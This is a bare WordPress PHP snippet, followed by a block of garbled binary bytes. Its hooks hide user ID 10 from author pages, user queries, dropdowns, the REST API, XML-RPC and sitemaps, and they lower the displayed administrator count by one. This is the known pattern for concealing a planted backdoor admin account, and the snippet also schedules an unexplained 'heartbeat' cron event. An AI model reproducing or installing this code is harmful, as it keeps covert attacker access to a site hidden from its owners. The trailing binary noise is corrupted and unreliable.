add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Ž]H-|ݗ22g
=4b>
\%"ׯcH*҇LeF("Hws8v?shOEke}?7?SUEw*CS_|Upj_O.6mQvE]sz욺/K5˺ڴK[tݦ+v]ٕ+.oំߒ~֕ө/z?7?~I~v#wTyvbsǦ9VWg?}'U/|6/踄ɯ)B+A=eݟ#/T5g_grJ6զ7$NgwtW73M^ZUZusbm_n6t\lή~Lf?Oo>_}ǏQZTv۽Cey[3lfs,u}Fgwˮo+?O5Cí*E~zk9K+-vn7JYS<庸ʋy)Ǻ<;WN9`_>ҮgVV߸n9r_o[k-|[TOkYUzՉ_ElqNvB3m{n6]?Нֲ?7UsqNrWŠ9$:3xnh[9@ݝWsїjNTjp
N=Y9ζwj={[V'>>yF"X$`U<"ý&V!od%)FI$'~-S\a@w-t9ɺ]tl]'nsUτ;晓sb`;x??[7NښЕ^rN'.e+)"PlbNK!WDZD8B?(IWCxm{P.uN?.ZZD1-«(BUT)xǢA1ߜ$Y
%kӾ`mo͵_o!zp
vh,✘sqAJrHf:٘wC6N<UgpH9|nחrn>e#x8ΛOg}HakodgbնnI` .myQs ϋLB,Z* k_SdGI@/Y
AVՖ
ϮMu$jqP/+??nܥ(p1Kݥء\!w JDx56`W5}"xERVv c8v^;u҃8ސINY1e(Mr_2DG5Vq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